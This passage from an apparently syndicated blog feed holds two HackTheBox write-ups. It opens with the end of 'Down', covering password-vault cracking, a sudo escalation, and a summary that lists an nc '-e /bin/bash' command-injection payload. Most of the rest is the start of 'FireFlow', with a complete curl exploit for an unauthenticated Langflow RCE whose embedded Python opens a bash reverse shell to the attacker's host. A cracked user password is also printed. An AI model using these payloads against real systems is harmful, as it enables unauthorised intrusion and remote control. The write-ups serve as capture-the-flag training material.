&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@down:/var/www/html&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /home/aleks/
total 36
drwxr-xr-x 5 aleks aleks 4096 May 27  2025 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 3 root  root  4096 Sep 13  2024 ..
lrwxrwxrwx 1 root  root     9 May  1  2025 .bash_history -&amp;gt; /dev/null
drwx------ 2 aleks aleks 4096 Sep  6  2024 .cache
drwxrwxr-x 3 aleks aleks 4096 Sep  6  2024 .local
drwx------ 2 aleks aleks 4096 Sep  6  2024 .ssh
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 aleks aleks    0 Sep 15  2024 .sudo_as_admin_successful
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;.ssh&lt;/code&gt; is restricted - we can't read any keys. But &lt;code&gt;.local&lt;/code&gt; is world-writable (&lt;code&gt;drwxrwxr-x&lt;/code&gt;). We dig in:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@down:/home/aleks&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; .local/share/pswm/
www-data@down:/home/aleks/.local/share/pswm&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt;
&lt;span class="nt"&gt;-rw-rw-r--&lt;/span&gt; 1 aleks aleks 151 Sep 13  2024 pswm

www-data@down:/home/aleks/.local/share/pswm&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;pswm
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="nv"&gt;xHnWpIqBWc25rrHFGPzyTg&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;4Nt/05WUbySGyvDgSlpoUw&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="nv"&gt;u65Jfe0ml9BFaKEviDCHBQ&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;pswm&lt;/code&gt; is a Python-based command-line password manager. A quick Google search leads to its GitHub: &lt;a href="https://github.com/seriotonctf/pswm-decryptor" rel="noopener noreferrer"&gt;seriotonctf/pswm-decryptor&lt;/a&gt; - a tool specifically for cracking &lt;code&gt;pswm&lt;/code&gt; vaults offline against a wordlist.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. Privilege Escalation - pswm Password Vault
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Setting up the decryptor
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/seriotonctf/pswm-decryptor
&lt;span class="nb"&gt;cd &lt;/span&gt;pswm-decryptor

&lt;span class="c"&gt;# Create a venv to avoid dependency conflicts&lt;/span&gt;
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; venv password
&lt;span class="nb"&gt;source &lt;/span&gt;password/bin/activate
pip &lt;span class="nb"&gt;install &lt;/span&gt;cryptocode prettytable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Copy the vault content into a local file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; pswm &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run the decryptor against &lt;code&gt;rockyou.txt&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 pswm-decrypt.py &lt;span class="nt"&gt;-f&lt;/span&gt; pswm &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] Master Password: flower
[+] Decrypted Data:
+------------+----------+----------------------+
| Alias      | Username | Password             |
+------------+----------+----------------------+
| pswm       | aleks    | flower               |
| aleks@down | aleks    | 1uY3w22uc-Wr{xNHR~+E |
+------------+----------+----------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The vault contains two entries - the master password (&lt;code&gt;flower&lt;/code&gt;, used to lock the vault) and aleks's actual system password: &lt;code&gt;1uY3w22uc-Wr{xNHR~+E&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  SSH as aleks
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh aleks@&amp;lt;TARGET_IP&amp;gt;
&lt;span class="c"&gt;# Password: 1uY3w22uc-Wr{xNHR~+E&lt;/span&gt;

aleks@down:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;aleks&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;aleks&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1000&lt;span class="o"&gt;(&lt;/span&gt;aleks&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Checking sudo rights
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aleks@down:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; password &lt;span class="k"&gt;for &lt;/span&gt;aleks:
Matching Defaults entries &lt;span class="k"&gt;for &lt;/span&gt;aleks on down:
    env_reset, mail_badpass,
    &lt;span class="nv"&gt;secure_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;..., use_pty

User aleks may run the following commands on down:
    &lt;span class="o"&gt;(&lt;/span&gt;ALL : ALL&lt;span class="o"&gt;)&lt;/span&gt; ALL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aleks can run &lt;strong&gt;any command as any user&lt;/strong&gt;. The &lt;code&gt;.sudo_as_admin_successful&lt;/code&gt; file we saw earlier in their home directory confirms they've successfully used sudo before - and they're in the sudoers list with full rights.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aleks@down:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;su
root@down:/home/aleks# &lt;span class="nb"&gt;whoami
&lt;/span&gt;root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  8. Root Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@down:~# &lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt
&lt;span class="o"&gt;[&lt;/span&gt;REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  9. Attack Chain Summary
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Attacker]
    │
    ├─ 1. Nmap → port 80 (Apache), port 22 (SSH)
    │
    ├─ 2. Web enum → URL checker form, curl User-Agent confirmed via NC listener
    │
    ├─ 3. SSRF via protocol bypass: url=http://+file:///etc/passwd
    │      └─ preg_match('^https?://') passes, curl receives two args
    │         → arbitrary local file read as www-data
    │         → /etc/passwd: user "aleks" discovered
    │
    ├─ 4. SSRF → read index.php source code
    │      └─ Hidden feature: ?expertmode=tcp → nc -vz &amp;lt;ip&amp;gt; &amp;lt;port&amp;gt;
    │         Bug: port string passed raw to escapeshellcmd, intval() only validates prefix
    │
    ├─ 5. Command injection: port=4444+-e+/bin/bash
    │      └─ /usr/bin/nc -vz &amp;lt;YOUR_IP&amp;gt; 4444 -e /bin/bash
    │         → reverse shell as www-data
    │
    ├─ 6. Web root: user_aeT1xa.txt → user flag [REDACTED]
    │
    ├─ 7. /home/aleks/.local/share/pswm/pswm → encrypted password vault
    │      └─ pswm-decryptor + rockyou.txt → master: flower
    │         → aleks@down password: 1uY3w22uc-Wr{xNHR~+E
    │
    ├─ 8. SSH as aleks → sudo -l → (ALL : ALL) ALL
    │
    └─ 9. sudo su → root → root.txt [REDACTED]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  10. Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;th&gt;Notes&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;SSRF via &lt;code&gt;file://&lt;/code&gt; protocol bypass&lt;/strong&gt; — &lt;code&gt;preg_match('^https?://')&lt;/code&gt; passes on &lt;code&gt;http:// file:///...&lt;/code&gt; since the regex only checks the prefix. curl processes both arguments, reading local files via the second one.&lt;/td&gt;
&lt;td&gt;Arbitrary local file read as www-data&lt;/td&gt;
&lt;td&gt;Classic SSRF + &lt;code&gt;escapeshellcmd&lt;/code&gt; does not strip spaces&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Hidden expert mode source disclosure&lt;/strong&gt; — &lt;code&gt;index.php&lt;/code&gt; is readable via SSRF, revealing undocumented &lt;code&gt;?expertmode=tcp&lt;/code&gt; feature&lt;/td&gt;
&lt;td&gt;Exposed hidden attack surface&lt;/td&gt;
&lt;td&gt;Security through obscurity: no link to the feature, but source is readable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;&lt;code&gt;nc&lt;/code&gt; argument injection via port field&lt;/strong&gt; — &lt;code&gt;intval($port)&lt;/code&gt; validates only the leading integer; the raw &lt;code&gt;$port&lt;/code&gt; string including trailing &lt;code&gt;-e /bin/bash&lt;/code&gt; is passed to &lt;code&gt;escapeshellcmd&lt;/code&gt;, which doesn't strip arguments&lt;/td&gt;
&lt;td&gt;RCE as www-data&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;escapeshellcmd&lt;/code&gt; is the wrong function — &lt;code&gt;escapeshellarg&lt;/code&gt; on each argument separately is the correct approach&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;pswm vault with weak master password&lt;/strong&gt; — aleks's password vault (&lt;code&gt;pswm&lt;/code&gt;) is world-readable and encrypted only by the master password &lt;code&gt;flower&lt;/code&gt;, crackable in seconds from rockyou.txt&lt;/td&gt;
&lt;td&gt;Full credential recovery for aleks&lt;/td&gt;
&lt;td&gt;Sensitive credential store left readable by all users&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Unrestricted sudo&lt;/strong&gt; — aleks has &lt;code&gt;(ALL : ALL) ALL&lt;/code&gt; sudo rights, giving trivial privilege escalation to root&lt;/td&gt;
&lt;td&gt;Full system compromise&lt;/td&gt;
&lt;td&gt;A regular user should never have full sudo without a specific, scoped allowlist&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




</description>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>writeup</category>
      <category>ctf</category>
    </item>
    <item>
      <title>HackTheBox: FireFlow Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Sat, 27 Jun 2026 07:10:37 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-fireflow-writeup-3kmi</link>
      <guid>https://dev.to/exploitnotes/hackthebox-fireflow-writeup-3kmi</guid>
      <description>&lt;h2&gt;
  
  
  Executive Summary
&lt;/h2&gt;

&lt;p&gt;FireFlow is a Linux machine running a fictional "Task Force Nightfall" intelligence platform. The web application exposes a Langflow instance (&lt;code&gt;flow.fireflow.htb&lt;/code&gt;) with a public flow playground. The flow engine version (1.8.2) is vulnerable to &lt;strong&gt;CVE-2026-33017&lt;/strong&gt; - an unauthenticated RCE via the &lt;code&gt;/api/v1/build_public_tmp/{flow_id}/flow&lt;/code&gt; endpoint, which executes attacker-supplied Python without sandboxing. This gives us a shell as &lt;code&gt;www-data&lt;/code&gt;. Environment variable enumeration leaks the Langflow superuser password, which is reused by the &lt;code&gt;nightfall&lt;/code&gt; local user (user flag). Inside nightfall's home directory, a &lt;code&gt;.mcp/config.json&lt;/code&gt; file reveals credentials for an internal MCP (Model Context Protocol) AI Tool Registry running in a Kubernetes pod. The JWT used by the registry accepts the &lt;code&gt;alg: none&lt;/code&gt; algorithm - a well-known JWT attack - letting us forge an admin token. With admin access we register a malicious tool in the registry, trigger it, and land a shell inside the &lt;code&gt;mcp-server&lt;/code&gt; Kubernetes pod. From there, we use the pod's service account token to access the Kubernetes API, enumerate node names via the kubelet proxy, discover a privileged &lt;code&gt;node-exporter&lt;/code&gt; pod with host filesystem access, and use a WebSocket exec call directly to the kubelet to run commands inside it as root - reading the node's &lt;code&gt;/root/root.txt&lt;/code&gt; through the mounted host filesystem.&lt;/p&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Reconnaissance&lt;/li&gt;
&lt;li&gt;Web Enumeration &amp;amp; Subdomain Discovery&lt;/li&gt;
&lt;li&gt;Initial Access - CVE-2026-33017 (Langflow RCE)&lt;/li&gt;
&lt;li&gt;Lateral Movement - www-data to nightfall&lt;/li&gt;
&lt;li&gt;User Flag&lt;/li&gt;
&lt;li&gt;Privilege Escalation - MCP Server Discovery&lt;/li&gt;
&lt;li&gt;JWT None Algorithm Bypass&lt;/li&gt;
&lt;li&gt;MCP Tool Injection - Shell in Kubernetes Pod&lt;/li&gt;
&lt;li&gt;Kubernetes Enumeration&lt;/li&gt;
&lt;li&gt;Node Escape - Kubelet WebSocket Exec&lt;/li&gt;
&lt;li&gt;Root Flag&lt;/li&gt;
&lt;li&gt;Attack Chain Summary&lt;/li&gt;
&lt;li&gt;Key Vulnerabilities&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;

&lt;p&gt;Standard Nmap scan with &lt;code&gt;-A&lt;/code&gt; (aggressive) and &lt;code&gt;-Pn&lt;/code&gt; (skip ping):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;root@kali#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &amp;lt;TARGET_IP&amp;gt; &lt;span class="nt"&gt;-oA&lt;/span&gt; nmap
&lt;span class="go"&gt;
PORT      STATE    SERVICE  VERSION
22/tcp    open     ssh      OpenSSH 9.6p1 Ubuntu
443/tcp   open     ssl/http nginx
| ssl-cert: Subject: commonName=fireflow.htb
| Subject Alternative Name: DNS:fireflow.htb, DNS:*.fireflow.htb
9100/tcp  filtered jetdirect
30000/tcp filtered ndmps
31337/tcp filtered Elite
... [snipped]
OS: Linux 4.15 - 5.19
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key observations:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Port &lt;strong&gt;443&lt;/strong&gt; — HTTPS with a wildcard certificate (&lt;code&gt;*.fireflow.htb&lt;/code&gt;), meaning subdomains are in use.&lt;/li&gt;
&lt;li&gt;Port &lt;strong&gt;22&lt;/strong&gt; — SSH open for later use.&lt;/li&gt;
&lt;li&gt;Several filtered high ports (30000+) - likely NodePort services for Kubernetes.&lt;/li&gt;
&lt;li&gt;The wildcard certificate immediately hints at virtual hosting on subdomains.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Add the hostname to &lt;code&gt;/etc/hosts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'&amp;lt;TARGET_IP&amp;gt; fireflow.htb'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  2. Web Enumeration &amp;amp; Subdomain Discovery
&lt;/h2&gt;

&lt;p&gt;Browsing to &lt;code&gt;https://fireflow.htb&lt;/code&gt; shows the &lt;strong&gt;FireFlow&lt;/strong&gt; platform - "Task Force Nightfall's internal intelligence automation platform." The page advertises a "Nightfall AI Agent" (NFAI-1) running on &lt;strong&gt;Flow engine 1.8.2&lt;/strong&gt; with an "Open Agent" button.&lt;/p&gt;

&lt;p&gt;The footer reads "Internal intelligence platform · Restricted access" - the platform is themed as classified infrastructure.&lt;/p&gt;

&lt;p&gt;The page source and the "Open Agent" button URL both reference &lt;code&gt;flow.fireflow.htb&lt;/code&gt;. We confirm this subdomain with &lt;code&gt;ffuf&lt;/code&gt; using virtual host fuzzing (filtering the default 162-byte response for unknown hosts):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; https://fireflow.htb:443 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"HOST: FUZZ.fireflow.htb"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-fs&lt;/span&gt; 162
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flow    [Status: 200, Size: 1142, Words: 132, Lines: 25, Duration: 270ms]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Add it to &lt;code&gt;/etc/hosts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;TARGET_IP&amp;gt; fireflow.htb flow.fireflow.htb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Clicking &lt;strong&gt;Open Agent&lt;/strong&gt; redirects to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This gives us the &lt;strong&gt;public flow UUID&lt;/strong&gt;: &lt;code&gt;7d84d636-af65-42e4-ac38-26e867052c25&lt;/code&gt;. The status bar on the main page also shows &lt;code&gt;Flow engine 1.8.2&lt;/code&gt; — a critical version indicator.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Initial Access - CVE-2026-33017 (Langflow RCE)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What is CVE-2026-33017?
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;POST /api/v1/build_public_tmp/{flow_id}/flow&lt;/code&gt; endpoint in Langflow is designed to let users build and preview public flows without authentication. The vulnerability is that the endpoint accepts an optional &lt;code&gt;data&lt;/code&gt; parameter containing a full flow graph - including custom Python component code - and passes it directly to &lt;code&gt;exec()&lt;/code&gt; with no sandboxing.&lt;/p&gt;

&lt;p&gt;The code execution chain is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attacker JSON → Graph.from_payload() → vertex.instantiate_component()
→ eval_custom_component_code() → prepare_global_scope()
→ exec(compiled_code, exec_globals)   ← arbitrary code execution
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Critically, &lt;code&gt;ast.Assign&lt;/code&gt; nodes (like &lt;code&gt;_x = os.system("id")&lt;/code&gt;) execute during graph &lt;em&gt;building&lt;/em&gt;, before the flow even "runs" - so execution is triggered the moment the server processes our JSON.&lt;/p&gt;

&lt;p&gt;This is the second time Langflow shipped this class of bug - the first was CVE-2025-3248, which fixed &lt;code&gt;/api/v1/validate/code&lt;/code&gt; by adding authentication, but left the &lt;code&gt;build_public_tmp&lt;/code&gt; endpoint untouched.&lt;/p&gt;

&lt;h3&gt;
  
  
  Prerequisites
&lt;/h3&gt;

&lt;p&gt;The endpoint requires:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A public flow UUID (we have it: &lt;code&gt;7d84d636-...&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;A valid &lt;code&gt;client_id&lt;/code&gt; cookie — &lt;strong&gt;this must be obtained by visiting the playground URL in a browser first.&lt;/strong&gt; Langflow issues this cookie when you open the playground page, and the backend uses it to associate the build job. Without a real cookie the request is rejected.&lt;/li&gt;
&lt;li&gt;The JSON payload must be a &lt;strong&gt;valid, complete Langflow graph structure&lt;/strong&gt; — a bare code snippet is rejected. The backend walks the entire graph and validates each node's fields before executing anything. If any field is missing or malformed, the build fails and no Python runs.&lt;/li&gt;
&lt;li&gt;No authentication header (the endpoint is designed to be unauthenticated for public flows)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Getting the &lt;code&gt;client_id&lt;/code&gt;:&lt;/strong&gt; Open &lt;code&gt;https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25&lt;/code&gt; in a browser. Check your browser's cookies for &lt;code&gt;flow.fireflow.htb&lt;/code&gt; — you'll find a &lt;code&gt;client_id&lt;/code&gt; cookie. Copy its value; you need to pass it with &lt;code&gt;-b 'client_id=&amp;lt;value&amp;gt;'&lt;/code&gt; in your curl command.&lt;/p&gt;

&lt;h3&gt;
  
  
  Crafting the exploit
&lt;/h3&gt;

&lt;p&gt;The graph validation chain is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Receive JSON → Validate schema → Create Graph → Create Vertex objects
→ Compile Custom Component → Execute Python
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every step must pass before Python runs. We need a complete, structurally valid node definition that also carries our malicious payload. The critical trick: placing &lt;code&gt;_x = os.system(...)&lt;/code&gt; as a top-level assignment in the component code means it executes during the &lt;em&gt;compilation step&lt;/em&gt; — before the flow even runs — because &lt;code&gt;ast.Assign&lt;/code&gt; nodes are executed by &lt;code&gt;prepare_global_scope()&lt;/code&gt; during class compilation.&lt;/p&gt;

&lt;p&gt;The full exploit payload (replace &lt;code&gt;&amp;lt;client_id&amp;gt;&lt;/code&gt; with the value from your browser cookie):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sk&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'https://flow.fireflow.htb/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s1"&gt;'client_id=&amp;lt;client_id_from_browser&amp;gt;'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'{
    "data": {
      "nodes": [{
        "id": "Evil",
        "type": "genericNode",
        "position": {"x":0,"y":0},
        "data": {
          "id": "Evil",
          "type": "EvilComp",
          "node": {
            "template": {
              "code": {
                "type": "code",
                "required": true,
                "show": true,
                "multiline": true,
                "value": "import os\n\n_x = os.system(\"bash -c '&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;YOUR_IP&amp;gt;/4444 0&amp;gt;&amp;amp;1'&lt;/span&gt;&lt;span class="se"&gt;\'&lt;/span&gt;&lt;span class="s1"&gt;'\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass EvilComp(Component):\n    display_name=\"Evil-X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)-&amp;gt;Data:\n        return Data(data={})",
                "name": "code",
                "password": false,
                "advanced": false,
                "dynamic": false
              },
              "_type": "Component"
            },
            "description": "Evil-X",
            "base_classes": ["Data"],
            "display_name": "EvilComp",
            "name": "EvilComp",
            "frozen": false,
            "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"UNDEFINED","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
            "field_order": ["code"],
            "beta": false,
            "edited": false
          }
        }
      }],
      "edges": []
    }
  }'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Python payload embedded in the &lt;code&gt;value&lt;/code&gt; field:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Imports &lt;code&gt;os&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Executes a bash reverse shell via &lt;code&gt;os.system()&lt;/code&gt; — the &lt;code&gt;_x =&lt;/code&gt; assignment is what triggers it during graph build&lt;/li&gt;
&lt;li&gt;Then defines a valid &lt;code&gt;Component&lt;/code&gt; subclass so the structural validation passes&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Start a listener before sending:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;[23:58:40] received connection from &amp;lt;TARGET_IP&amp;gt;&lt;/span&gt;:35022
&lt;span class="gp"&gt;(remote) www-data@fireflow:/var/lib/langflow$&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We have a shell as &lt;code&gt;www-data&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Lateral Movement - www-data to nightfall
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Environment enumeration
&lt;/h3&gt;

&lt;p&gt;The first thing to check on any application server is the process environment — application secrets, passwords, and configuration are frequently passed as environment variables:&lt;br&gt;
